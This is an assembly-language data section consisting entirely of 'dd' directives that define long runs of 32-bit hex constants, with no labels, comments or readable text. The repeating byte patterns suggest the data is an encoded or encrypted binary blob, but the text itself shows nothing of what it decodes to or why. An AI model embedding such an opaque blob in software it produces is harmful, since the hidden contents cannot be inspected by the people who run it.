dd 0B7888EFh, 0BE9D3DE5h, 7F94F474h, 258F9A13h, 6645B91Ah
dd 0ED73215h, 8CBB00F4h, 66883EFCh, 9ECEDF15h, 458EBF39h
dd 0A308D8D6h, 0DCEE5238h, 6CADB3D8h, 0A9223215h, 90BCD134h
dd 7D7DEF0Bh, 0D3BB5382h, 618A2A80h, 0B994BFE0h, 698F9A2Eh
dd 66443596h, 0E7445215h, 7C127F4h, 69E8E2EAh, 66442B95h
dd 6636DB15h, 9C333215h, 4054CD79h, 805DFFCDh, 77A7A65Dh
dd 10B0A436h, 0B108B4E1h, 0E3CD5316h, 618DEF0Ch, 66113FFCh
dd 0FF473F15h, 50D6C637h, 61D94EAh, 0E3D7A4FBh, 6120340Ch
dd 6BAD5256h, 0CF223215h, 246D1AD6h, 0D167A5F8h, 3D6D6120h
dd 6626BB1Ah, 0DF773215h, 6E9ABBFh, 6646B61Ah, 3C913215h
dd 0B8A63D75h, 773851Ah, 0CA735A74h, 8E42B6E4h, 66113210h
dd 2BD563C9h, 391D640Eh, 5AE8B73h, 0F3A4CD74h, 698F9A0Dh
dd 66442A99h, 6631DB15h, 0D8923215h, 0C52F1557h, 347C4117h
dd 9ED0577Eh, 4570A651h, 0E305C7B3h, 61EC09CAh, 662EB61Ah
dd 61F83215h, 71883215h, 0E0A6EF58h, 0E52DC1FDh, 66113200h
dd 668822FCh, 2F0B8915h, 8E2D4EB6h, 2E94A7A7h, 0C622BBD8h
dd 6994CDDFh, 66223398h, 0E398CE15h, 6127EF08h, 0CD8275h
dd 74ACAAAh, 661EB61Ah, 6C613215h, 2C443215h, 0EFA78EECh
dd 2E3532C7h, 7F0DF467h, 29439A13h, 66223FFCh, 529E5315h
dd 9BE914B2h, 234867CEh, 0B24ACEE5h, 69860785h, 66883592h
dd 67C13D15h, 9E223215h, 7E8487EAh, 0E835BDh, 0E1B4F094h
dd 0B9A7BF74h, 9F169A2Eh, 9F7DE2EAh, 0BB65B79Ch, 0ED4235BAh
dd 0A0C6B3D2h, 7AFEF41h, 605DB7D3h, 936D35BDh, 81F307Dh
dd 0D377CAECh, 61EC2A80h, 66223BFCh, 0D17EBC15h, 6AED97A0h
dd 0EBB866E0h, 0CE19ED90h, 6601DB12h, 64ED3215h, 0A8F92780h
dd 6FCBD5ABh, 7F81EC49h, 0B6775956h, 0DAFD5475h, 88A35438h
dd 0EF70CCDFh, 0C9551790h, 664ADB12h, 81DC3215h, 4A2BA2BCh
dd 0A5153D42h, 4FCEF629h, 603BB7D3h, 8F5C35BDh, 66883206h
dd 0EC7205F4h, 0EE72AD06h, 0E4214CD3h, 6A017595h, 6C2EA4Ch
dd 6622B31Ah, 969A3215h, 1FC15A74h, 99B1FA22h, 0CE3AA7A0h
dd 0E39CCE12h, 612009CAh, 8F94CDE0h, 6622321Eh, 0A1DB1727h
dd 0E9DE2CF4h, 0EF494AC6h, 0C9FF1F90h, 6603DB12h, 0E81B3215h
dd 56B255C9h, 5961FF9Fh, 0ACBAE832h, 83437DF8h, 605DB7D3h
dd 8F6F35BDh, 66113213h, 0C8A8222Dh, 0EF2C8A2Ah, 69FEC558h
dd 66113A9Dh, 64053D15h, 6443215h, 0F397CD74h, 8F169A0Dh
dd 66883210h, 0F95ED3FEh, 0B9A7BFC4h, 8F169A2Eh, 66883205h
dd 8A5AC546h, 57E68BB8h, 88002474h, 87A9AF60h, 0E44BE2EAh
dd 66223204h, 66113EFCh, 6325F215h, 0EED1D3Ah, 0DB976D18h
dd 4F94BB3Bh, 9F8F9DC8h, 605DB7D3h, 8F7735BDh, 6611321Ah
dd 8A744BC8h, 16660FFEh, 37728C34h, 8FF9F1FCh, 66883210h
dd 39906B75h, 4B155AA7h, 0EE1EAE0Eh, 66883212h, 6645BE1Ah
dd 99DB3215h, 0CE09A7A0h, 0BB085212h, 0E3C9535Eh, 618A09CAh
dd 660FBA1Ah, 69E83215h, 66443298h, 6632DA15h, 5AA93215h
dd 1B2EDFFEh, 9FD8B37Dh, 401230DBh, 74E70C1h, 0EA87E2EAh
dd 66443214h, 57A7BBEDh, 8F169DC8h, 66883212h, 602145E2h
dd 0A069BAAEh, 0CE172B90h, 6C617112h, 94443215h, 1155FB1Dh
dd 0BDCB05F0h, 96A25A2Dh, 99B8E0C0h, 0CE3AA7A0h, 6616DB12h
dd 0B60F3215h, 0ECAB66E6h, 7EAD3DF7h, 69113215h, 6688209Bh
dd 6649DB15h, 0EB8F3215h, 1DCBE596h, 10E41192h, 0EB6F77DCh
dd 0CE19ED90h, 6602DB12h, 3CD13215h, 5B6900EBh, 2CC48951h
dd 1B815099h, 0FE8E0237h, 6994CD00h, 66223E9Fh, 0D9775215h
dd 0E4872C49h, 66443215h, 53A7BB74h, 8F169DC8h, 6688321Dh
dd 90A90935h, 0DC3D464Bh, 7F94F4ECh, 348F9A13h, 0D2AE5AE0h
dd 69CBCF57h, 12113215h, 60AB332Eh, 4245304Ch, 0A81CB6Eh
dd 0D3EEADE3h, 61202A80h, 0B9C1BFE0h, 69259A2Eh, 66113397h
dd 0B677CE15h, 664CB21Ah, 0E82D3215h, 66113217h, 0E3015375h
dd 61EC1734h, 662234FCh, 0C6A3A715h, 0A0CE45D7h, 0CE422B90h
dd 0ED77512h, 84896B8Ch, 0D3775375h, 61EC2A80h, 0B9A7BFE9h
dd 9A169A2Eh, 0E7E8E2EAh, 0D8BCE7F5h, 6629DA15h, 90923215h
dd 88FFC71h, 0B02C5E88h, 6627DAA5h, 225F3215h, 3E055487h
dd 0E3CD534Bh, 618DEF2Ch, 6616B81Ah, 0E83215h, 3D12F49Eh
dd 7FA7F474h, 21169A13h, 668821FCh, 0D4BD8A15h, 6DD47289h
dd 0FB1CD411h, 0F636535Ch, 1F06622Ch, 6626BC1Ah, 0D1713215h
dd 0A4E053EBh, 8FF5CF75h, 66223210h, 0C4CD6980h, 0F33DCDFDh
dd 8F439A0Dh, 66223213h, 0DCF15029h, 0EB7D1A5Fh, 0CE7FED90h
dd 8E42CA12h, 66113218h, 0B9E90A6Dh, 0B8F917A2h, 9777CC12h
dd 0B7598A6Fh, 8FD147C8h, 6644321Dh, 4980FF96h, 0B491B517h
dd 8F58CD74h, 66443219h, 0E1678F97h, 0C0ECC808h, 36AAEF18h
dd 0BB79B79Ch, 4235BAh, 0A166DC94h, 7E68475h, 67C13D74h
dd 9F223215h, 6008B7D3h, 9ACF35BDh, 0C0BA267Dh, 0E19252CAh
dd 0F3A4CD74h, 9E8F9A0Dh, 5D9BB798h, 6BCB35BDh, 8E113215h
dd 60609180h, 5B75FA15h, 665855B5h, 3571E2EAh, 3D4EB973h
dd 6647BC1Ah, 0ED443215h, 0E39853E2h, 6127EF54h, 6643B51Ah
dd 0ED2D3215h, 66113214h, 7F0DF4ECh, 39439A13h, 879B5475h
dd 0E7953A7h, 9F1662E7h, 7ED187EAh, 0EE2D35BDh, 66113204h
dd 66883EFCh, 9A69F915h, 8C12A455h, 3A8935FDh, 0B90DBF8Ah
dd 6439A2Eh, 66AE3D75h, 113215h, 7CC33ACh, 694CD74h, 0E6F98D1Ah
dd 0EF7060C3h, 0C9557790h, 0E382CA12h, 618A340Ch, 76933D5Ah
dd 6883215h, 66443AFCh, 0FA245E15h, 0D1BE5441h, 0EE9CB60h
dd 0A1B8492Ah, 662FB61Ah, 6EF83215h, 0B8883215h, 27538498h
dd 6950339Dh, 66113591h, 670B3D15h, 9E443215h, 7EB787EAh
dd 0EBE935BDh, 0CEB3ED90h, 0DD225212h, 7E9AC118h, 7601DBAh
dd 69E8E2EAh, 66443495h, 66AD3D15h, 0D7113215h, 0E3015376h
dd 61EBEF64h, 662226FCh, 8DEA15h, 8281F3F2h, 51807580h
dd 71B22E36h, 0F8D79A7Eh, 0EDEE5236h, 0BFC554E7h, 0A043F626h
dd 0CE172B90h, 0E717512h, 9C1F5C59h, 0F8E1B275h, 87905475h
dd 7E985BBh, 7ED187EAh, 0E52D35BDh, 66113208h, 669FB11Ah
dd 74AD3215h, 63223215h, 0BABC93DAh, 0C5B87759h, 0F0BC3640h
dd 0B3DEFCDh, 0B994BFB4h, 68F9A2Eh, 66443BFDh, 68E7C215h
dd 19DF3E5Dh, 773D1824h, 0E74B614Dh, 66223215h, 0B6EE534Eh
dd 0B51D8975h, 0EF25330Bh, 0C9FF4790h, 0E41E5212h, 66883204h
dd 66443EFCh, 0EAE5DD15h, 0C0FF42FCh, 0F0D7EAEDh, 6643DA10h
dd 33C03215h, 84719158h, 7D2CB3Eh, 605DB7D3h, 9F6535BDh
dd 6035FF7Dh, 67063DD6h, 9A443215h, 7EB787EAh, 93ED35BDh
dd 5D57B798h, 0E54B35BDh, 6622321Dh, 19F7B275h, 7708D1Ah
dd 6645BE1Ah, 99DE3215h, 6A903DC5h, 69883215h, 6644349Dh
dd 66AA3D15h, 6113215h, 668826FDh, 3C66BD15h, 0F8369FBCh
dd 4F065CB4h
dd 0BBD84802h, 4F7B9792h, 66A63D9Ah, 3E113215h, 1F0DBB74h
dd 9A439DC8h, 7FA7F4E0h, 39169A13h, 669BB61Ah, 8F243215h
dd 66223219h, 45F69A07h, 873D6919h, 0A46BD029h, 6EE5A74h
dd 0EC71E6AEh, 3ED08DE8h, 992571C7h, 0CE3AA7A0h, 6C973D12h
dd 6883215h, 6644B91Ah, 3E723215h, 0B994BF74h, 9E8F9A2Eh
dd 6655DB75h, 0C1703215h, 437C69F1h, 0C0E993AEh, 48FA056Ch
dd 6358CEBh, 0D6C8B973h, 99E9531Bh, 0DC2252C5h, 0E192357Eh
dd 2F94BB74h, 698F9DC8h, 6644379Ch, 83A25215h, 0E3D7539Eh
dd 6120340Ch, 75CD3D4Ah, 6223215h, 66113EFCh, 8AAD7615h
dd 30820277h, 6718BD52h, 6DF85339h, 0E8883215h, 0EA85127Ch
dd 739323B6h, 28797A64h, 8F16DB41h, 6644321Bh, 68375E0Dh
dd 2820690Dh, 0CA7C968Eh, 0D3BBC24Dh, 618A2A80h, 0B994BFECh
dd 9A8F9A2Eh, 0EFBDE2EAh, 0C9FF7F90h, 661DDB12h, 916D3215h
dd 0D4D6CA85h, 51821FF2h, 0E3D74CBAh, 6120340Ch, 6649DB4Ah
dd 0B6063215h, 4A681F23h, 0FAE3B909h, 0E33E2DEh, 0B7311A5Dh
dd 8FC6B875h, 66883206h, 3D5E971Dh, 14980A9Eh, 0D7455FADh
dd 96ECE257h, 70C3CD0h, 7EB787EAh, 0EBE435BDh, 0CEB3ED90h
dd 67CE3D12h, 9E223215h, 6DF8E2EAh, 99883215h, 0EA3AD863h
dd 0DB621B63h, 0E398F71Eh, 6127EF44h, 6649B81Ah, 6ECB3215h
dd 75113215h, 6F0E253h, 0CF20574h, 664AC711h, 9A113205h
dd 6698327Dh, 245215h, 1DBEE094h, 46EE8B73h, 600A3D74h
dd 0E7443215h, 0D1F6C4E6h, 667B535Eh, 0BC08CE75h, 0F3BB536Ah
dd 618A17E0h, 0A3A85475h, 0B7373D0Fh, 0DC225274h, 0ACA2F5A4h
dd 0E3985399h, 61203CBCh, 96CF5475h, 6CCB53E0h, 0FD113215h
dd 51E09100h, 0E6DC5972h, 9DA7BFE8h, 9A169D7Bh, 7461E2EAh
dd 0A9443215h, 9F98D3Ch, 4B496DAFh, 1EF25D0Eh, 49EE5C5Fh
dd 9F26586Fh, 6601327Dh, 670D3D15h, 9E443215h, 6602327Dh
dd 6F913D15h, 6883215h, 6644BC1Ah, 7DE3215h, 661134FCh
dd 3353CF15h, 0CB47719h, 6BCBCA15h, 0A2113215h, 73F98AA3h
dd 0B2CEE3A4h, 0E472CB23h, 43E4A7EAh, 9E7D35BDh, 4811B79Ch
dd 75CB35BDh, 6C113215h, 80413B09h, 7F4633ADh, 0F2842038h
dd 0B8CD257Eh, 0E3016405h, 61EC02E8h, 65AC3D75h, 69113215h
dd 73ACCAAh, 6045874h, 2DFBB373h, 0AFAE3D34h, 76885A74h
dd 69BC3215h, 6622389Ah, 7715215h, 7D9EFD94h, 0E253231h
dd 66233215h, 57D8B275h, 3F2F8744h, 69AD5274h, 6B223215h
dd 0C345435Ch, 5D0973FBh, 720B6249h, 7DA5165h, 75F8327Fh
dd 9B883215h, 8399657h, 4CCC5ECEh, 0EE90EEC5h, 0E3E296D4h
dd 0F3BB3402h, 618A17E0h, 3C8475h, 4376E394h, 97C1BB74h
dd 69259A27h, 66113C96h, 61615215h, 0EF443215h, 523BE9D4h
dd 0ED70D0CCh, 0CEAD43A0h, 67C03D12h, 9F223215h, 0D78CB9EDh
dd 8F8F9A1Bh, 6644321Ah, 0A4FBE646h, 38B14CA3h, 485E5CEBh
dd 0EF058AB3h, 0CE0EAFA0h, 0FB98CE12h, 61202A0Ch, 0D7D9B9E0h
dd 6259A1Bh, 0CF8B373h, 6681DBBBh, 0C5CF3215h, 607325D3h
dd 7149EFAh, 6A0301EAh, 6280B331h, 9F223215h, 6911CB96h
dd 66B26391h, 0EF15CE15h, 62E3B3F4h, 0E5113215h, 6A0F36FCh
dd 62CD6E31h, 6633DB31h, 1AFB3215h, 69DB8191h, 0A5B844ACh
dd 46A550D8h, 30967AAAh, 0A009D49Ch, 66443211h, 0E126DC96h
dd 0EF4D1621h, 6701619h, 66443AFCh, 0A3176B15h, 65F1D3A4h
dd 9E48031Eh, 690E8675h, 0EF43C3A2h, 0CE223F90h, 0E7875212h
dd 66443201h, 66223DFCh, 0F5A14115h, 42A63686h, 0D492E7Bh
dd 0DF72241Bh, 9F70F89Fh, 66880E7Dh, 4270B915h, 6926F696h
dd 6611339Eh, 0A009C715h, 1ADF10E6h, 24BFF494h, 12127EDBh
dd 88091231h, 2A8A7088h, 44D1DC94h, 0E7714E8Eh, 0D82D86CCh
dd 664EDB64h, 554C3215h, 9EDF07Ah, 0E6E33D00h, 8FE95474h
dd 6622321Bh, 4900EBF0h, 0E120002Eh, 6DD5C993h, 6C27506Ch
dd 4B15966Bh, 35E9535Eh, 46607616h, 7437910h, 181B1F46h
dd 0D0E836B1h, 6654DAC4h, 3D923215h, 0A7E2997Ch, 0D8EA788h
dd 60554C1Ch, 91A965BAh, 0DF40534Bh, 6688326Dh, 57BBF314h
dd 0E1061E94h, 38502419h, 6A0FF494h, 691D7303h, 66223398h
dd 8890CE15h, 5FBE07D5h, 46604616h, 12EA8A45h, 7E340E16h
dd 91F02157h, 0B6B372CDh, 5357F420h, 3ED73314h, 7EFECDE0h
dd 16D68847h, 3213302Dh, 394B3631h, 161AC594h, 6DAD302Dh
dd 0BD223215h, 145727E1h, 50D30579h, 0DBCD0543h, 618A284Ch
dd 48898D75h, 9F030383h, 69BBB774h, 66220690h, 0ED775215h
dd 769B8DFh, 707DAE9h, 0ED2D3215h, 6611321Dh, 668AB51Ah
dd 7243215h, 662721FCh, 6FF85215h, 0E1883215h, 0AEBF5D17h
dd 4870BF37h, 0B14D8A73h, 31605A74h, 6ACD3215h, 6628DB31h
dd 8DEF3215h, 147BF4E2h, 61725882h, 4236B942h, 9A15F696h
dd 698CE07Eh, 66443D9Eh, 6628DB15h, 0CF3A3215h, 18470EE9h
dd 69BB278Ah, 71D7A79Ch, 9E7135BDh, 669ADA43h, 0D2213215h
dd 44263501h, 0D1D6F2A4h, 72D84988h, 96245306h, 0C43684Ah
dd 6A9E3D11h, 69883215h, 66443496h, 66AE3D15h, 0E113215h
dd 66882215h, 0ED6A8075h, 0EF7053C2h, 62D3B3F7h, 0E5883215h
dd 72C336FFh, 72AB6E31h, 6603DB31h, 87EF3215h, 0F33222ABh
dd 93035B34h, 0F1FA6C42h, 965FDB78h, 99BD327Fh, 0CE07C780h
dd 8F905212h, 2443E7A6h, 6641DA75h, 0D4D83215h, 3EA40B8Ah
dd 7E9FA9Eh, 493DB79Ch, 4235BDh, 8E5E87AFh, 66883207h
dd 28372A63h, 244ADAF0h, 240158B4h, 794DD1ACh, 0DF22B890h
dd 77C4725h, 0EF15DE96h, 9FD21611h, 3F6006EAh, 6626F694h
dd 0E91E3215h, 66883218h, 66443AFCh, 711B9315h, 753BB15Fh
dd 68FDA2Ah, 63AD3215h, 27223215h, 6AB12E06h, 66FDFD7Dh
dd 4270BB15h, 663AB61Ah, 75F83215h, 0D3883215h, 0EFBEF3D3h
dd 0CA06A68Ch, 2F6B247Dh, 54C9D335h, 0E04B8A93h, 66223207h
dd 66113FFCh, 5844E715h, 73FD0E93h, 4CBA573Ch, 69BC62CFh
dd 66883398h, 0D812C715h, 0B95194Eh, 654FC23Ch, 63AC1651h
dd 0BF3194Eh, 66223EFCh, 9216F615h, 0DEC3B174h, 767EAEB9h
dd 3E7562A7h, 0E5350E9Eh, 6A6136D1h, 60443215h, 906C2050h
dd 721C556Ch, 0E5A3AC2Bh, 5ACD36F9h, 4226B331h, 28D11EF8h
dd 8B63B34Eh, 9A0AF239h, 662A727Dh, 422DBB15h, 668837FCh
dd 3AB4715h, 0A612C4DBh, 9B649CE0h, 0E752B975h, 6624A7DBh
dd 8FDA5317h, 66113218h, 15F6696Ah, 6D195D41h, 0F708FB30h
dd 6605DBD1h, 0A3E63215h, 0E67963A9h, 0BF284FFDh, 7BB42F7Dh
dd 6B709355h, 52CF4E7Ah, 84AB6031h, 6615F094h, 0A40B3215h
dd 4250B511h, 72A33D49h, 8F113215h, 6688321Ah, 0D19BD95h
dd 9432C8ABh, 387368E0h, 35CDA69Dh, 353365AEh, 3DFD1B62h
dd 0A190ED3Ch, 11DB4542h, 85CD61ECh, 6626F194h, 8D923215h
dd 4294B511h, 4250BB49h, 72A965E0h, 62D5B131h, 668FBD1Ah
dd 0DE243215h, 64B0C69Ah, 0CFACB974h, 9E8F9A1Bh, 99BBCDACh
dd 0ED2D52EAh, 66113217h, 0DFE86B47h, 602B6B83h, 7436842h
dd 0E671F224h, 0E08713C9h, 66443216h, 7F3B973h, 63913D75h
dd 883215h, 0CAA0FA94h, 17FCB373h, 334353E3h, 109629A8h
dd 785F885Ch, 8C137B63h, 0ECE33348h, 0E2876817h, 66443213h
dd 98A95475h, 0AE2153EDh
dd 668FBA1Ah, 0E34B3215h, 66223214h, 99AE65E0h, 4F77CDEAh
dd 0E24B6DEBh, 6622320Dh, 0AE9A5475h, 66883FFDh, 0D6226D15h
dd 844839D9h, 0D7D9B248h, 7D6157Bh, 31C306EAh, 1622D8AAh
dd 426D333Bh, 4BD06D11h, 483432FFh, 0B4953D75h, 60814DADh
dd 8F495341h, 6650DB1Dh, 9B383215h, 68A20393h, 5F9DBBDBh
dd 0E1802576h, 2DDD43B7h, 0A7208DF1h, 64013D75h, 6443215h
dd 2C43CB74h, 992BB71Ah, 7461CDEAh, 0BB443215h, 55776237h
dd 7471C189h, 9E775A8Eh, 0ABA5EDEh, 52A363D6h, 73020A31h
dd 0DDDB6A3Fh, 4C51212Dh, 9379EA24h, 4205C545h, 0E7AC369Eh
dd 664436D1h, 6624DB15h, 6D483215h, 588654h, 3460269Eh
dd 0A4A3D09Ch, 66113211h, 668CF094h, 72C33215h, 0E7DB6E31h
dd 661136F9h, 428CBB15h, 76AD309Ah, 0E223215h, 0C65EAE5Ah
dd 0CDAC43ACh, 8BCD4439h, 0EDE5659h, 66114E30h, 0DFAC3E9Ch
dd 66443211h, 697BF814h, 66113D95h, 6682DB15h, 3F6F3215h
dd 0E651D8A8h, 0A0DDAF1Bh, 668ADD7Dh, 4250BB15h, 6BA7CDECh
dd 8F169A26h, 6688321Ah, 281C582Ch, 61A622A9h, 5DFF0D21h
dd 0ED0604B6h, 0CE773F80h, 0F31BCB12h, 61B9284Ch, 6606B61Ah
dd 0EDBC3215h, 0EF701601h, 62D3B3F7h, 0E7883215h, 664436D7h
dd 4236B515h, 6E95249h, 8F77E295h, 66443213h, 30361769h
dd 770D4E0h, 38AC06EAh, 8F40F696h, 66223210h, 5DEC33D8h
dd 0DCDA65FDh, 3E2B74EEh, 0ACA3E0E2h, 1B4D20CDh, 22A0F094h
dd 0B1CD3236h, 39DC334Fh, 6614DB75h, 0CA483215h, 69A2D191h
dd 66223296h, 0EBF85315h, 6977CDE9h, 66443F92h, 662ADB15h
dd 4CD23215h, 0EAD3D7C6h, 8E24A848h, 66223210h, 6850971Ch
dd 77D6899h, 3C6006EAh, 6626F694h, 0E71E3215h, 66883212h
dd 0BFC55475h, 0ED437399h, 0EF431621h, 624AB3F7h, 0E5443215h
dd 72A536D7h, 6716E31h, 0E4875375h, 66443215h, 0DC445274h
dd 6DF8B904h, 4A883215h, 0F7C54516h, 0F9E08A44h, 770481Ch
dd 0A3025274h, 52BB53E9h, 0A2A36B31h, 66113211h, 668823FCh
dd 3707AD15h, 2EC98BEFh, 0A27678F6h, 0CF986542h, 0E64B27AEh
dd 6622321Dh, 6613B21Ah, 7E83215h, 3760369Eh, 0A7A3D39Ch
dd 66113211h, 668CF394h, 6AC33215h, 6FCB6E31h, 2B113215h
dd 330D52E9h, 0BFA7DF03h, 66223FFCh, 0AD000F15h, 6EF1F3A2h
dd 0ACB0E803h, 0E3E5E785h, 61B92AB4h, 66883215h, 6650B21Ah
dd 0E42D3215h, 6611321Bh, 66883BFCh, 0CC7BA215h, 0CC5CD293h
dd 0E3D6FA4Ah, 61203A70h, 66443215h, 68F1B375h, 42ABB8h
dd 73035ACh, 0BAFD8F96h, 692235BAh, 66111191h, 0E7EE5215h
dd 764ACCEh, 0C022AF98h, 0E01E35BBh, 66883212h, 6645B91Ah
dd 99DB3215h, 679E3DC6h, 9F883215h, 55B9B7EAh, 8F4235BDh
dd 6611321Fh, 0C41D63F1h, 0A5827532h, 6ECBD94Ah, 3E113215h
dd 20BE7954h, 7235FC8h, 55DF8F96h, 697535BDh, 668A4997h
dd 0E383CA15h, 618A01E8h, 66113214h, 6683B61Ah, 60AD3215h
dd 41223215h, 6F176169h, 69745296h, 66443592h, 67A93D15h
dd 9F113215h, 1DDDB798h, 62435BAh, 77EF395h, 1B7A8CADh
dd 0B6775339h, 66443CFCh, 17769F15h, 0D4B7EA6Ch, 3254A786h
dd 0EB547233h, 0C9FFBBA0h, 0ED775212h, 0DB0553E5h, 61F45B14h
dd 662239FCh, 3C823B15h, 80B47785h, 7DB71760h, 459FF594h
dd 0A1901E42h, 465111C1h, 89C5C53Ch, 46FB11C1h, 45ACDD94h
dd 6F611E42h, 0A1443215h, 0D1D0582Eh, 0C284794Bh, 3573BB46h
dd 3B603694h, 3C284927h, 544CD894h, 8FD3386Eh, 6644321Ah
dd 9EFDCE87h, 0D185D03Eh, 0D1F0BFD5h, 9EEF4751h, 688B8F9Eh
dd 63F835BDh, 78883215h, 280DD2B2h, 99DDCDACh, 6600DBEAh
dd 0D0DB3215h, 30AE2C98h, 898130E6h, 0A39051F6h, 5738C510h
dd 0DF15C7D5h, 66223215h, 0DD42C314h, 66883215h, 65CEF914h
dd 0EB2D6B4Eh, 6611321Dh, 66003D75h, 7443215h, 74CBFA25h
dd 17113215h, 7B7E7845h, 0C6FA4346h, 0FA9BA78Bh, 0ADDBE364h
dd 99326003h, 4FBBCDEAh, 0E12D68C3h, 66113203h, 668823FCh
dd 0D0C25A15h, 61D64F8Fh, 6CB84331h, 9C7DA058h, 52BB1970h
dd 4226B992h, 6615F694h, 74613215h, 3A443215h, 6D37A127h
dd 0FF22F2C8h, 18A2E61Bh, 0C7C32BD9h, 63A83DE0h, 6113215h
dd 74FEF95h, 694CDBD4h, 66223F9Eh, 6619DB15h, 254C3215h
dd 1BDC5F1h, 0A713F798h, 661122FCh, 0E3D15115h, 7CE31A11h
dd 162F3970h, 0F7CD7297h, 0E38778F3h, 99BBCD2Eh, 0ED446475h
dd 0D87769DDh, 0E5E97741h, 5ACD36F9h, 0EFEDBB31h, 75F86DEDh
dd 16883215h, 1F2FA448h, 94B1D317h, 34373433h, 0FADC102Ch
dd 36B8FF57h, 91063692h, 4215B5C5h, 0E3B1CB4Dh, 61EC383Ch
dd 6651B61Ah, 0E91E3215h, 6688321Dh, 66C93D75h, 7223215h
dd 66118F40h, 0E7DD3215h, 17711621h, 537A6010h, 34144320h
dd 0A683CE48h, 6660B71Ah, 423215h, 339AFD94h, 6F615274h
dd 0F2443215h, 57010834h, 0F289FD13h, 0A1E9CB9Eh, 0CE512790h
dd 66223312h, 0DE41CA15h, 7CE661B5h, 0A908CF18h, 6065070Eh
dd 0A71029CBh, 0E7AC369Eh, 664436D1h, 0C49D5215h, 9A21488Fh
dd 6F615374h, 58443215h, 7D0365ABh, 1D738B76h, 16AED7ACh
dd 0E795C538h, 0B735ACF4h, 0EBAA617Bh, 675CF38Fh, 0EF4B69CCh
dd 66223200h, 6618DB75h, 0A3633215h, 0D68F8EC2h, 4BB0AEh
dd 0B043F494h, 15355A74h, 72CF4B2Ah, 62E6B131h, 66113CFCh
dd 0CCE94F15h, 885B3A5Dh, 0B19ADECEh, 6690F2Ch, 5454D594h
dd 75AC2518h, 98223215h, 1375411Bh, 0C73F19DEh, 2C068150h
dd 8396E655h, 78AE4F03h, 3CEA59B5h, 76AD9F74h, 24223215h
dd 0C229F7F7h, 9C1C1A6h, 7A00F2ADh, 0EF808CF6h, 0CE3DAFA0h
dd 6698DB12h, 0A43D3215h, 0B6124E03h, 0ACBF3737h, 6A227F07h
dd 20837225h, 2B2ACDE9h, 9A57CD6Fh, 43744494h, 0E77B2A40h
dd 0D9DCE63h, 20EE2146h, 9AFEB3E9h, 3042058Eh, 662CB61Ah
dd 6FF83215h, 0DA883215h, 84E4A093h, 6D5F29FEh, 88FFDC28h
dd 0E10D3DFBh, 9E443215h, 0BBFF0C94h, 0E31EEFC8h, 6688326Fh
dd 6642B71Ah, 0ED423215h, 77052EFh, 663567ECh, 33443215h
dd 0CB060694h, 0E9038108h, 0CBBEB313h, 3B568108h, 0DD446175h
dd 0ED4F9819h, 0E88753E4h, 66443213h, 67C6375h, 33795374h
dd 0EF88320Eh, 62FD1619h, 67223215h, 37716BDBh, 0D301534Ch
dd 61EC1E88h, 4BB4DBECh, 61F83215h, 0E6883215h, 0D0EEBD22h
dd 0C7CB2C83h, 8FEECDEBh, 6688321Fh, 0C1D5EDBEh, 0ED8243E8h
dd 0EF4665DAh, 0ED73BBD2h, 0A2C51629h, 66223211h, 661122FCh
dd 1C54A115h, 0B04264A2h, 0E8C32543h, 9EA140B7h, 0E28752A7h
dd 66443216h, 0D3DCB973h, 0E322534Ah, 61202700h, 658CF3E0h
dd 6623BB1Ah, 30E43215h, 778C05ABh, 80C57C18h, 4F044591h
dd 8890ECE2h, 0DBE4E211h, 4F1AC23Ch, 4DDA37C5h, 0D3710B86h
dd 0A7E9CA91h, 68AD22D5h, 0E223215h, 0A438CA58h, 1E204F73h
dd 0A8C64C9Dh, 8FEA0340h, 66113212h, 7861F0FFh, 0EF012C3Bh
dd 0CE372788h, 7E983D12h, 8F883215h, 66443206h, 87C0B499h
dd 0E9B4A5E6h, 0A9AF68BDh, 24ADCC26h, 5B87044Dh, 66103215h
dd 6763B11Ah, 69243215h, 66223097h, 8FDFB815h, 66883210h
dd 4ECC10B0h, 58A3531Eh, 0DDAA89AEh, 6743B71Ah, 6243215h
dd 8F436843h, 6611321Ah
dd 7A2139F4h, 9293FF43h, 19978324h, 728E3CBh, 0C4E06745h
dd 3B380550h, 93A3E7E2h, 8A9B9DA5h, 63D5DA9Ch, 0F6F9D806h
dd 8F7A349Ch, 66113218h, 0AE85C102h, 0EB643781h, 0D09568CDh
dd 62AE654Ch, 67883215h, 4278B9EBh, 6626F694h, 6DF83215h
dd 87883215h, 0F51005CAh, 0CC7BECE2h, 0D3985F45h, 61201E88h
dd 664434FCh, 9DCBCB15h, 0EDB28CE7h, 0CE868388h, 67C53D12h
dd 9F223215h, 6A9A01EAh, 624CB131h, 6651BD1Ah, 76CB3215h
dd 0B4113215h, 8077442Fh, 0EAABD413h, 0AF263604h, 30BF21BEh
dd 9401F49Ch, 0E560069Eh, 6D736D1h, 6607B91Ah, 77613215h
dd 2C443215h, 0C057734Fh, 99C67CA0h, 36888C44h, 147AE76h
dd 33F7BB40h, 6EF86F4Dh, 7D883215h, 87296D20h, 4D6D2BD1h
dd 0CE1E8B90h, 8E745212h, 66443210h, 6D440A82h, 0A7706801h
dd 8FE830F5h, 66443212h, 310B6563h, 0DEF5CB77h, 31E6066Ah
dd 7BC13174h, 69259A31h, 66113599h, 670C3D15h, 9F443215h
dd 667AB77Dh, 4215BB15h, 8FD66A43h, 6644321Ah, 0F8BC094Eh
dd 75C58F9Eh, 5B624D34h, 0CBACDEFEh, 662EBF1Ah, 8F713215h
dd 66883210h, 0B9159F7h, 0CC27533Ah, 6770D351h, 0CC3163DDh
dd 4F25D351h, 6DB6BDDh, 8FDA851Ah, 66883204h, 32091E4h
dd 0ECCFB5C0h, 0CA9C1EEDh, 7F62F136h, 22CD53D0h, 6422E31h
dd 8FCF851Ah, 66883205h, 5A09D654h, 938051BBh, 0A333229Fh
dd 8ED88D6Dh, 78CB974h, 0ACBCA74h, 6113216h, 0D1EB8475h
dd 0ED2253F9h, 74CB53DFh, 0FE113215h, 0BA640DD7h, 4FC07088h
dd 5C266D83h, 0CC8E3F3Dh, 43EC5AF3h, 6ACD3215h, 6DAB3D31h
dd 8F113215h, 66883213h, 0DE5A59E8h, 0EF4ADD9Ch, 0EF113211h
dd 0EF871601h, 6644321Ah, 662238FCh, 0B6786C15h, 19D31CD0h
dd 57ACF371h, 77CA52DCh, 5113215h, 0F5C519Dh, 2AE7AB2Bh
dd 0ACE52F57h, 0DB794B74h, 668839FDh, 8079F515h, 0B0688241h
dd 8E5DA3F7h, 0E887684Bh, 66443213h, 6622BC1Ah, 9F703215h
dd 49F1A79Eh, 0EB4B35BDh, 66223200h, 8F4A6375h, 66883219h
dd 41B06F7Bh, 222EACACh, 93E90BBDh, 698A0974h, 6644D391h
